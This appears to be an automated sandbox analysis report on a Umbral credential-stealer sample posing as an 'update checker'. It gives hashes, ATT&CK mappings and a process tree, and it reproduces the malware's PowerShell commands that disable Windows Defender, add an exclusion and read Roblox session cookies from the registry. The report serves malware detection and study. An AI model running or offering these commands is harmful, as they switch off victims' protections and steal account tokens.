umbral | 4b64b08789791f49a88c79ad4c0eae5628fe7547489f958312f53c95f23403ff

Analysis

max time kernel
69s
max time network
70s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
12-08-2024 09:36

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General

Target

citrontoppest/citrontoppest/citrontoppest/updatechecker/updatecheckercitron.exe
Size

227KB
MD5

a6db1722b4ed09cd06fbdf6f80df47da
SHA1

1fe86fceb4884cb37c4187591ccecd7a4c4d9c15
SHA256

ed1deb13b32c20b6cd35d50351c78d3729315dac5da6f5795dae2c14bed8520b
SHA512

61542031f6f60fca814400c9ec21c0eefa15422646c30b5b3192231a4d5a5845681f7d619818fa0c7c448f860101790d7971c80aa90637e58956b33023079785
SSDEEP

6144:+loZMLrIkd8g+EtXHkv/iD4cYiL+cCFdWQj+ctBIpHb8e1mUi:ooZ0L+EP8cYiL+cCFdWQj+ctBIhK

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral5/memory/1476-1-0x0000000001050000-0x0000000001090000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2020	powershell.exe
568	powershell.exe
1628	powershell.exe
2964	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	updatecheckercitron.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1984	wmic.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1476	updatecheckercitron.exe
2020	powershell.exe
2964	powershell.exe
568	powershell.exe
2036	powershell.exe
1628	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1476	updatecheckercitron.exe
Token: SeIncreaseQuotaPrivilege	3020	wmic.exe
Token: SeSecurityPrivilege	3020	wmic.exe
Token: SeTakeOwnershipPrivilege	3020	wmic.exe
Token: SeLoadDriverPrivilege	3020	wmic.exe
Token: SeSystemProfilePrivilege	3020	wmic.exe
Token: SeSystemtimePrivilege	3020	wmic.exe
Token: SeProfSingleProcessPrivilege	3020	wmic.exe
Token: SeIncBasePriorityPrivilege	3020	wmic.exe
Token: SeCreatePagefilePrivilege	3020	wmic.exe
Token: SeBackupPrivilege	3020	wmic.exe
Token: SeRestorePrivilege	3020	wmic.exe
Token: SeShutdownPrivilege	3020	wmic.exe
Token: SeDebugPrivilege	3020	wmic.exe
Token: SeSystemEnvironmentPrivilege	3020	wmic.exe
Token: SeRemoteShutdownPrivilege	3020	wmic.exe
Token: SeUndockPrivilege	3020	wmic.exe
Token: SeManageVolumePrivilege	3020	wmic.exe
Token: 33	3020	wmic.exe
Token: 34	3020	wmic.exe
Token: 35	3020	wmic.exe
Token: SeIncreaseQuotaPrivilege	3020	wmic.exe
Token: SeSecurityPrivilege	3020	wmic.exe
Token: SeTakeOwnershipPrivilege	3020	wmic.exe
Token: SeLoadDriverPrivilege	3020	wmic.exe
Token: SeSystemProfilePrivilege	3020	wmic.exe
Token: SeSystemtimePrivilege	3020	wmic.exe
Token: SeProfSingleProcessPrivilege	3020	wmic.exe
Token: SeIncBasePriorityPrivilege	3020	wmic.exe
Token: SeCreatePagefilePrivilege	3020	wmic.exe
Token: SeBackupPrivilege	3020	wmic.exe
Token: SeRestorePrivilege	3020	wmic.exe
Token: SeShutdownPrivilege	3020	wmic.exe
Token: SeDebugPrivilege	3020	wmic.exe
Token: SeSystemEnvironmentPrivilege	3020	wmic.exe
Token: SeRemoteShutdownPrivilege	3020	wmic.exe
Token: SeUndockPrivilege	3020	wmic.exe
Token: SeManageVolumePrivilege	3020	wmic.exe
Token: 33	3020	wmic.exe
Token: 34	3020	wmic.exe
Token: 35	3020	wmic.exe
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeIncreaseQuotaPrivilege	2240	wmic.exe
Token: SeSecurityPrivilege	2240	wmic.exe
Token: SeTakeOwnershipPrivilege	2240	wmic.exe
Token: SeLoadDriverPrivilege	2240	wmic.exe
Token: SeSystemProfilePrivilege	2240	wmic.exe
Token: SeSystemtimePrivilege	2240	wmic.exe
Token: SeProfSingleProcessPrivilege	2240	wmic.exe
Token: SeIncBasePriorityPrivilege	2240	wmic.exe
Token: SeCreatePagefilePrivilege	2240	wmic.exe
Token: SeBackupPrivilege	2240	wmic.exe
Token: SeRestorePrivilege	2240	wmic.exe
Token: SeShutdownPrivilege	2240	wmic.exe
Token: SeDebugPrivilege	2240	wmic.exe
Token: SeSystemEnvironmentPrivilege	2240	wmic.exe
Token: SeRemoteShutdownPrivilege	2240	wmic.exe
Token: SeUndockPrivilege	2240	wmic.exe
Token: SeManageVolumePrivilege	2240	wmic.exe
Token: 33	2240	wmic.exe
Token: 34	2240	wmic.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 1476 wrote to memory of 3020	1476	updatecheckercitron.exe	30
PID 1476 wrote to memory of 3020	1476	updatecheckercitron.exe	30
PID 1476 wrote to memory of 3020	1476	updatecheckercitron.exe	30
PID 1476 wrote to memory of 2020	1476	updatecheckercitron.exe	33
PID 1476 wrote to memory of 2020	1476	updatecheckercitron.exe	33
PID 1476 wrote to memory of 2020	1476	updatecheckercitron.exe	33
PID 1476 wrote to memory of 2964	1476	updatecheckercitron.exe	35
PID 1476 wrote to memory of 2964	1476	updatecheckercitron.exe	35
PID 1476 wrote to memory of 2964	1476	updatecheckercitron.exe	35
PID 1476 wrote to memory of 568	1476	updatecheckercitron.exe	37
PID 1476 wrote to memory of 568	1476	updatecheckercitron.exe	37
PID 1476 wrote to memory of 568	1476	updatecheckercitron.exe	37
PID 1476 wrote to memory of 2036	1476	updatecheckercitron.exe	39
PID 1476 wrote to memory of 2036	1476	updatecheckercitron.exe	39
PID 1476 wrote to memory of 2036	1476	updatecheckercitron.exe	39
PID 1476 wrote to memory of 2240	1476	updatecheckercitron.exe	41
PID 1476 wrote to memory of 2240	1476	updatecheckercitron.exe	41
PID 1476 wrote to memory of 2240	1476	updatecheckercitron.exe	41
PID 1476 wrote to memory of 2440	1476	updatecheckercitron.exe	43
PID 1476 wrote to memory of 2440	1476	updatecheckercitron.exe	43
PID 1476 wrote to memory of 2440	1476	updatecheckercitron.exe	43
PID 1476 wrote to memory of 2188	1476	updatecheckercitron.exe	45
PID 1476 wrote to memory of 2188	1476	updatecheckercitron.exe	45
PID 1476 wrote to memory of 2188	1476	updatecheckercitron.exe	45
PID 1476 wrote to memory of 1628	1476	updatecheckercitron.exe	47
PID 1476 wrote to memory of 1628	1476	updatecheckercitron.exe	47
PID 1476 wrote to memory of 1628	1476	updatecheckercitron.exe	47
PID 1476 wrote to memory of 1984	1476	updatecheckercitron.exe	49
PID 1476 wrote to memory of 1984	1476	updatecheckercitron.exe	49
PID 1476 wrote to memory of 1984	1476	updatecheckercitron.exe	49

C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe
"C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\citrontoppest\updatechecker\updatecheckercitron.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2036
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2240
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2440
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1628
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
60d33d0d36f6da3df90e0ad34d3d7bcd

SHA1
9b7507e6a1ac0bcee8d6b39f2e089ee3dee84d78

SHA256
f79fbf38d4f8e6769d91ad30b3f0aad3481d257985ec8333d1156e5f71fc2832

SHA512
af94312e1098d3bfcd5f615b9d16c3db84c0ec39c0e87d16520d567303bc8d8d961bf72e88977225aec0d1d85f35ff8b7db551e8028937016ee846c1d9260f72

Download Submit
memory/1476-1-0x0000000001050000-0x0000000001090000-memory.dmp

Filesize
256KB

Download
memory/1476-2-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/1476-3-0x000007FEF5FA3000-0x000007FEF5FA4000-memory.dmp

Filesize
4KB

Download
memory/1476-4-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/1476-49-0x000007FEF5FA0000-0x000007FEF698C000-memory.dmp

Filesize
9.9MB

Download
memory/1476-0-0x000007FEF5FA3000-0x000007FEF5FA4000-memory.dmp

Filesize
4KB

Download
memory/1628-45-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2020-10-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/2020-9-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2964-17-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2964-16-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download